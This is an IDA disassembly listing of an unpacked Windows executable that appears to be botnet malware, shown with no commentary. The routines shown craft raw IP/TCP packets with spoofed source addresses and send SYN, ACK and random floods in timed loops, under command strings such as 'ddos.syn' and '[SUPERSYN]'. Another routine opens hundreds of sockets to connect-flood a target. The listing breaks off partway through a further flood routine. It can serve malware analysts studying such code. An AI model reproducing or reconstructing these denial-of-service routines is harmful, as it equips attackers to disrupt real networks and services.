;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	14164BBBB1F09EBD78B1E6880D5C87E4

; File Name   :	u:\work\14164bbbb1f09ebd78b1e6880d5c87e4_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00116000 (1138688.)
; Section size in file		: 00116000 (1138688.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40F6F1+3B20o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_423030
		push	eax
		call	sub_4173AC
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40DC10
		add	esp, 14h


loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_290]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B2	proc near		; CODE XREF: sub_4013E9+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_441330	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: sub_4010B2+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_44145C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_441398	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4413B8	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4413B8	; ntohs
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4413B8	; ntohs
		mov	[ebp+var_12], ax
		call	sub_417408
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4413B8	; ntohs
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4413B4	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_417408
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_417408
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4413B8	; ntohs
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 7C82FA46h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 7C80A427h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417860
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2F0j
		mov	[ebp+var_4], bx
		call	sub_417408
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4413B8	; ntohs
		mov	[ebp+var_14], ax
		call	sub_417408
		mov	edi, eax
		shl	edi, 10h
		call	sub_417408
		or	edi, eax
		push	edi
		call	dword_4413B8	; ntohs
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4413B4	; ntohl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4413B8	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40B004
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417490
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40B004
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417490
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_44141C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 7C80A427h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D0
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D0
		jmp	loc_401264
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: sub_4010B2+2CBj
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_423068
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40C4F7
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------


loc_4013D0:				; CODE XREF: sub_4010B2+2E0j
					; sub_4010B2+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D3:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+31Cj
		push	[ebp+var_20]
		call	dword_441450	; closesocket
		pop	esi


loc_4013DD:				; CODE XREF: sub_4010B2+5Bj
		call	dword_441318	; WSACleanup
		mov	eax, ebx


loc_4013E5:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE95
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41791F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41791F
		mov	edi, eax
		call	sub_417408
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401447	proc near		; DATA XREF: sub_40F6F1+3CFCo

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_441438	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E2
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231F4


loc_401495:				; DATA XREF: ___:off_425784o
					; ___:off_4267D4o
		push	eax
		call	sub_4173AC
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40DC10
		add	esp, 14h


loc_4014C5:				; CODE XREF: sub_401447+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h


loc_4014E2:				; CODE XREF: sub_401447+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_441398	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401559
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231AC
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40DC10
		add	esp, 14h


loc_40153C:				; CODE XREF: sub_401447+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h


loc_401559:				; CODE XREF: sub_401447+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4413F8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C0
		lea	eax, [ebp+var_3BC]
		push	offset unk_42317C
		push	eax
		call	sub_4173AC
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A3
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40DC10
		add	esp, 14h


loc_4015A3:				; CODE XREF: sub_401447+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h


loc_4015C0:				; CODE XREF: sub_401447+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4413B8	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4413F8	; inet_addr
		mov	esi, dword_421064
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_4015FE:				; CODE XREF: sub_401447+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017A9
		push	41Ch
		mov	byte_43C210, 45h
		call	dword_4413B8	; ntohs
		cmp	[ebp+var_2C], edi
		mov	word_43C212, ax
		mov	word_43C214, bx
		mov	word_43C216, di
		mov	byte_43C218, 80h
		mov	byte_43C219, bl
		mov	word_43C21A, di
		jz	short loc_401684
		call	sub_417408
		mov	ebx, eax
		shl	ebx, 8
		call	sub_417408
		add	ebx, eax
		shl	ebx, 8
		call	sub_417408
		add	ebx, eax
		shl	ebx, 8
		call	sub_417408
		add	ebx, eax
		push	1
		mov	dword_43C21C, ebx
		pop	ebx
		jmp	short loc_40169C
; ---------------------------------------------------------------------------


loc_401684:				; CODE XREF: sub_401447+20Bj
		push	[ebp+var_1BC]
		call	sub_40AFAB
		pop	ecx
		push	eax
		call	dword_4413F8	; inet_addr
		mov	dword_43C21C, eax


loc_40169C:				; CODE XREF: sub_401447+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_43C220, eax
		call	sub_417408
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C224, dl
		call	sub_417408
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C225, dl
		call	sub_417408
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_43C226, di
		mov	word_43C22A, bx
		inc	edx
		mov	word_43C228, dx
		call	sub_417408
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43C22C
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43C210
		push	[ebp+var_4]
		call	dword_44141C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401734
		inc	[ebp+arg_0]
		jmp	loc_4015FE
; ---------------------------------------------------------------------------


loc_401734:				; CODE XREF: sub_401447+2E3j
		push	[ebp+var_4]
		call	dword_441450	; closesocket
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42311C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40DC10
		add	esp, 14h


loc_40178C:				; CODE XREF: sub_401447+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h


loc_4017A9:				; CODE XREF: sub_401447+1C8j
		push	[ebp+var_4]
		call	dword_441450	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4230BC
		push	eax
		call	sub_4173AC
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401811
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40DC10
		add	esp, 14h


loc_401811:				; CODE XREF: sub_401447+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_38]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h
sub_401447	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: sub_40F6F1+15F0o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40198C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4173AC
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40DC10
		add	esp, 14h


loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_10]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
sub_40182E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CA	proc near		; CODE XREF: sub_40198C+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4413B8	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_401988
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_401915:				; CODE XREF: sub_4018CA+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_40191D:				; CODE XREF: sub_4018CA+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401940
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_401940:				; CODE XREF: sub_4018CA+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_40191D
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_40194E:				; CODE XREF: sub_4018CA+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	ebx
		jnz	short loc_40194E
		push	64h
		nop
		call	near ptr 7C802442h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401972:				; CODE XREF: sub_4018CA+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	ebx
		jnz	short loc_401972
		dec	[ebp+arg_4]
		jnz	short loc_401915
		pop	edi
		pop	esi
		pop	ebx


loc_401988:				; CODE XREF: sub_4018CA+3Ej
		xor	eax, eax
		leave
		retn
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40198C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE95
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41791F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41791F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018CA
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C2
		push	1
		pop	eax


loc_4019C2:				; CODE XREF: sub_40198C+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_40198C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D1	proc near		; DATA XREF: sub_40F6F1+3A27o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D1F
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_423260
		push	eax
		call	sub_4173AC
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_401A4E
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40DC10
		add	esp, 14h


loc_401A4E:				; CODE XREF: sub_4019D1+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_10]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
sub_4019D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A6D	proc near		; CODE XREF: sub_401D1F+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_441330	; WSAStartup
		test	eax, eax
		jz	short loc_401AAD
		xor	eax, eax
		jmp	loc_401D1B
; ---------------------------------------------------------------------------


loc_401AAD:				; CODE XREF: sub_401A6D+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_44145C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D13
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_441398	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D09
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_50], 2
